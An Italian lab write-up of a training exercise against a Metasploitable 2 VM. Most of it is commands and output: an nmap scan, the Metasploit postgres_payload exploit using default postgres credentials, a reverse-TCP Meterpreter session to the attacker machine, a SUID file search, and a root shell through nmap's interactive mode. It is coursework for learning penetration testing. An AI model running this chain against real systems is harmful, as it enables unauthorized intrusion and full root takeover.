

ESERCIZIO S7 L3



Pratica S7/L3 PDF

Esercizio
Esercizio

Esercizio di oggi:

Usa il modulo **exploit/linux/postgres/postgres_payload** per sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable 2. Esegui l'exploit per ottenere una sessione **Meterpreter** sul sistema target.

Escalation di privilegi e backdoor:

- Una volta ottenuta la sessione **Meterpreter**, il tuo compito è eseguire un'escalation di privilegi per passare da un utente limitato a root utilizzando solo i mezzi forniti da msfconsole.
- Esegui il comando **getuid** per verificare l'identità dell'utente corrente.

SVOLGIMENTO

Inizio il laboratorio testando la comunicazione tra macchina attaccante Kali Linux con IP 192.168.1.25 e la macchina target Metasploitable con IP 192.168.1.40 con il **ping**.

```
(kali㉿kali)-[~]  
$ ping 192.168.1.40  
PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data.  
64 bytes from 192.168.1.40: icmp_seq=1 ttl=64 time=1.23 ms  
64 bytes from 192.168.1.40: icmp_seq=2 ttl=64 time=0.806 ms  
64 bytes from 192.168.1.40: icmp_seq=3 ttl=64 time=0.571 ms  
64 bytes from 192.168.1.40: icmp_seq=4 ttl=64 time=1.32 ms
```

Il prossimo step è eseguire una scansione nmap stealth >>> **nmap -sS**

```
(kali㉿kali)-[~]  
$ nmap -sS 192.168.1.40  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-27 08:40 EDT  
Nmap scan report for 192.168.1.40  
Host is up (0.0053s latency).  
Not shown: 977 closed tcp ports (reset)  
PORT      STATE SERVICE  
21/tcp    open  ftp  
22/tcp    open  ssh  
23/tcp    open  telnet  
25/tcp    open  smtp  
53/tcp    open  domain  
80/tcp    open  http  
111/tcp   open  rpcbind  
139/tcp   open  netbios-ssn  
445/tcp   open  microsoft-ds  
512/tcp   open  exec  
513/tcp   open  login  
514/tcp   open  shell  
1099/tcp  open  rmiregistry  
1524/tcp  open  ingreslock  
2049/tcp  open  nfs  
2121/tcp  open  ccproxy-ftp  
3306/tcp  open  mysql  
5432/tcp  open  postgresql  
5900/tcp  open  vnc  
6000/tcp  open  X11  
6667/tcp  open  irc  
8009/tcp  open  ajp13  
8180/tcp  open  unknown  
MAC Address: 08:00:27:EA:AE:44 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)  
Nmap done: 1 IP address (1 host up) scanned in 13.54 seconds
```

Il risultato mostra che il servizio è effettivamente in funzione sulla **porta 5432/tcp**.

Ora avvio Metasploit Framework con il comando **msfconsole**:

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: Search can apply complex filters such as search cve:2009
type:exploit, see all the filters with help search

# cowsay++
< metasploit >

      \      /_oo_/_
      (oo)_____)
      (_____)  )\
      ||--||  *

      =[ metasploit v6.4.64-dev                               ]
+ -- --=[ 2519 exploits - 1296 auxiliary - 431 post           ]
+ -- --=[ 1610 payloads - 49 encoders - 13 nops              ]
+ -- --=[ 9 evasion                                           ]

Metasploit Documentation: https://docs.metasploit.com/
```

Digito il comando **use** sul modulo **exploit/linux/postgres/postgres_payload** per eseguire l'attacco richiesto dalla traccia e successivamente visualizzo le opzioni con **show options**:

```
msf6 > use exploit/linux/postgres/postgres_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(linux/postgres/postgres_payload) > show options

Module options (exploit/linux/postgres/postgres_payload):

  Name      Current Setting  Required  Description
  ---      -
  VERBOSE   false            no        Enable verbose output

Used when connecting via an existing SESSION:

  Name      Current Setting  Required  Description
  ---      -
  SESSION    no               no        The session to run this module on

Used when making a new connection via RHOSTS:

  Name      Current Setting  Required  Description
  ---      -
  DATABASE   postgres         no        The database to authenticate against
  PASSWORD   postgres         no        The password for the specified username. Leave blank for a random password.
  RHOSTS     no               no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      5432             no        The target port
  USERNAME   postgres         no        The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
  LHOST     yes             yes        The listen address (an interface may be specified)
  LPORT     4444            yes        The listen port

Exploit target:

  Id  Name
  --  --
  0    Linux x86

View the full module info with the info, or info -d command.
```

Modifico le opzioni dell'exploit impostando :

- Set RHOSTS 192.168.1.40 (IP target)
- Set LHOST 192.168.1.25 (IP attaccante)

Subito dopo avvio l'exploit con **run** :

```
msf6 exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 exploit(linux/postgres/postgres_payload) > set LHOST 192.168.1.25
LHOST => 192.168.1.25
msf6 exploit(linux/postgres/postgres_payload) > run
[*] Started reverse TCP handler on 192.168.1.25:4444
[*] 192.168.1.40:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/VCijpuDj.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.1.40
[*] Meterpreter session 1 opened (192.168.1.25:4444 -> 192.168.1.40:40823) at 2025-08-27 08:44:41 -0400
```

Riesco così ad ottenere l'accesso alla **shell di Meterpreter** per poter eseguire i comandi sulla macchina target.

Eseguo:

- **Sysinfo** >>> per visualizzare le informazioni della macchina target
- **Getuid** >>> per verificare con quale utente sono loggato

```
meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS           : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > getuid
Server username: postgres
```

A questo punto ho tentato di trovare un punto di partenza per l'escalation dei privilegi cercando i file con il bit **SUID** (Set User ID) che possono essere sfruttati per eseguire i comandi con i permessi dell'utente proprietario, utilizzando >>> **search -f SUID** ma senza risultati.

Come soluzione più affidabile, dalla shell di Meterpreter, ho utilizzato il comando **shell** per accedere alla shell del sistema target, digitando poi il comando specifico per trovare tutti i file con il bit **SUID** >>> **find / -perm -u=s -type f 2>/dev/null**

Funzionamento del comando :

find /: avvia la ricerca dalla directory radice (/), che copre l'intero filesystem.

-perm -u=s: cerca i file che hanno il permesso SUID (s) impostato per l'utente (u). Il segno - indica che devono avere **almeno** questo permesso.

-type f: limita la ricerca solo ai file (escludendo le directory).

2>/dev/null: reindirizza gli errori (come quelli dovuti alla mancanza di permessi per accedere a certe directory) in `/dev/null`, in modo da vedere solo i risultati utili.

```
meterpreter > shell
Process 4748 created.
Channel 1 created.
find / -perm -u=s -type f 2>/dev/null
/bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/lib/dhcp3-client/call-dhclient-script
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/netkit-rlogin
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/nmap
/usr/bin/chsh
/usr/bin/netkit-rcp
/usr/bin/passwd
/usr/bin/mtr
/usr/sbin/uuid
/usr/sbin/pppd
/usr/lib/telnetlogin
/usr/lib/apache2/suexec
/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
```

La lista mostra vari file con bit SUID, scelgo quindi di tentare l'escalation sfruttando **nmap** (`/usr/bin/nmap`) avviandolo in maniera **interattiva** utilizzando il comando:

Nmap - -interactive >>> una volta entrato eseguo il comando **!sh** dove “!” serve per uscire dall'interfaccia dell'applicazione ed eseguire un comando della shell del sistema operativo, e “sh” per ottenere un nuovo prompt dove puoi digitare comandi come **whoami**

```
nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
whoami
root
```

Infatti utilizzo infine **whoami** per visualizzare l'utente effettivo che risulta **root**.